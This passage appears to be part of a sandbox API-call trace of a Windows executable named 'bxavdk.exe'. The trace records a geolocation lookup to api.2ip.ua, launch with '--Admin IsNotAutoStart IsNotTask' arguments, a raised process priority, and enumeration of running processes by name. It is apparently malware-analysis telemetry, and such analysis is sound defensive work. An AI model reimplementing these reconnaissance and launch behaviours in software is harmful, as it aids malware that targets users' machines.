8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb1\x34\x5d\x5c\xb4\xfb\x18", lpUsedDefaultChar=0x0) returned 256 [0049.961] GetLastError () returned 0x0 [0049.961] SetLastError (dwErrCode=0x0) [0049.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0049.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fa78, cbMultiByte=256, lpWideCharStr=0x18f3c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0049.961] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0049.961] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f1b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0049.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18f878, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb1\x34\x5d\x5c\xb4\xfb\x18", lpUsedDefaultChar=0x0) returned 256 [0049.961] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0049.961] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x800) returned 0x67a360 [0049.961] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40b78a [0049.961] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.962] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.962] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.962] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.962] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x67ab68 [0049.962] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.962] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6781a0 [0049.962] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.963] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.963] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.967] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x67bf28) returned 0x80 [0049.967] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0050.024] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x66ed18 [0050.024] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0051.009] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18be78, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e678 | out: lpBuffer=0x18be78*, lpdwNumberOfBytesRead=0x18e678*=0x1d1) returned 1 [0051.010] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0051.011] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0051.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x686000 [0051.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1e0) returned 0x316e930 [0051.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316e930 | out: hHeap=0x5d0000) returned 1 [0051.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x686000 | out: hHeap=0x5d0000) returned 1 [0051.011] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x66ed18 | out: hHeap=0x5d0000) returned 1 [0051.011] GetCurrentProcess () returned 0xffffffff [0051.011] GetLastError () returned 0x2 [0051.011] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0051.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x6a9eb8 [0051.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x318fec8 [0051.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x31953b8 [0051.011] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x31953b8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bxavdk.exe")) returned 0x30 [0051.011] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0051.011] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3180030 [0051.011] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask" [0051.011] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18e758 | out: pNumArgs=0x18e758) returned 0x3135ae8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0051.011] lstrcpyW (in: lpString1=0x18f408, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0051.012] lstrcmpW (lpString1="IsAutoStart", lpString2="IsNotAutoStart") returned -1 [0051.012] lstrcmpW (lpString1="IsTask", lpString2="IsNotTask") returned 1 [0051.012] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask" [0051.012] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe\" --Admin IsNotAutoStart IsNotTask", pNumArgs=0x18e6f4 | out: pNumArgs=0x18e6f4) returned 0x3135ae8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe" [0051.012] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bxavdk.exe") returned="bxavdk.exe" [0051.012] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0051.013] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0051.013] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0051.013] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0051.013] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0051.014] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0051.014] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0051.014] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0051.014] EnumProcesses (in: lpidProcess=0x183ef0, cb=0xa000, lpcbNeeded=0x18e700 | out: lpidProcess=0x183ef0, lpcbNeeded=0x18e700) returned 1 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0051.017] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0051.018] CloseHandle (hObject=0x0) returned 0 [0051.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5a0 [0051.018] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0051.019] CloseHandle (hObject=0x5a0) returned 1 [0051.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5a0 [0051.019] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0051.019] CloseHandle (hObject=0x5a0) returned 1 [0051.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0051.019] CloseHandle (hObject=0x0) returned 0 [0051.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5a0 [0051.019] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0051.019] CloseHandle (hObject=0x5a0) returned 1 [0051.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0051.019] CloseHandle (hObject=0x0) returned 0 [0051.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5a0 [0051.019] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 0 [0051.019] CloseHandle (hObject=0x5a0) returned 1 [0051.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x414) returned 0x0 [0051.020] CloseHandle (hObject=0x0) returned 0 [0051.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5a0 [0051.020] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.020] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x940000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="sun_surgery.exe") returned 0xf [0051.021] CloseHandle (hObject=0x5a0) returned 1 [0051.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x90) returned 0x5a0 [0051.021] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.022] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x810000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="fursitemap.exe") returned 0xe [0051.022] CloseHandle (hObject=0x5a0) returned 1 [0051.022] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5b0) returned 0x5a0 [0051.022] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.023] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xab0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="bra_assessed.exe") returned 0x10 [0051.023] CloseHandle (hObject=0x5a0) returned 1 [0051.023] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x594) returned 0x5a0 [0051.023] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.024] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x250000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="beautiful-principal-translated.exe") returned 0x22 [0051.024] CloseHandle (hObject=0x5a0) returned 1 [0051.024] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6bc) returned 0x5a0 [0051.024] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.025] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1280000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="hobbies.exe") returned 0xb [0051.025] CloseHandle (hObject=0x5a0) returned 1 [0051.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x244) returned 0x5a0 [0051.025] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.026] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x290000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="carrier hobbies helps.exe") returned 0x19 [0051.027] CloseHandle (hObject=0x5a0) returned 1 [0051.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x114) returned 0x5a0 [0051.027] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.027] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xed0000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="phantom roads.exe") returned 0x11 [0051.028] CloseHandle (hObject=0x5a0) returned 1 [0051.028] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x314) returned 0x5a0 [0051.028] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.029] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x990000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="printers_twiki_tracked.exe") returned 0x1a [0051.029] CloseHandle (hObject=0x5a0) returned 1 [0051.029] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1e8) returned 0x5a0 [0051.029] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.030] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0x1270000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="resolution.exe") returned 0xe [0051.030] CloseHandle (hObject=0x5a0) returned 1 [0051.030] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x714) returned 0x5a0 [0051.030] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.031] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xf30000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="maximize.exe") returned 0xc [0051.031] CloseHandle (hObject=0x5a0) returned 1 [0051.031] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e4) returned 0x5a0 [0051.031] EnumProcessModules (in: hProcess=0x5a0, lphModule=0x18e70c, cb=0x4, lpcbNeeded=0x18e6f0 | out: lphModule=0x18e70c, lpcbNeeded=0x18e6f0) returned 1 [0051.032] GetModuleBaseNameW (in: hProcess=0x5a0, hModule=0xf40000, lpBaseName=0x18def0, nSize=0x400 | out: lpBaseName="freezesyndicaterapidly.exe") returned 0x1a [0051.032] CloseHandle (hObject=0x5a0) returned 1 [0051.032] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x15c) returned 0x5a0 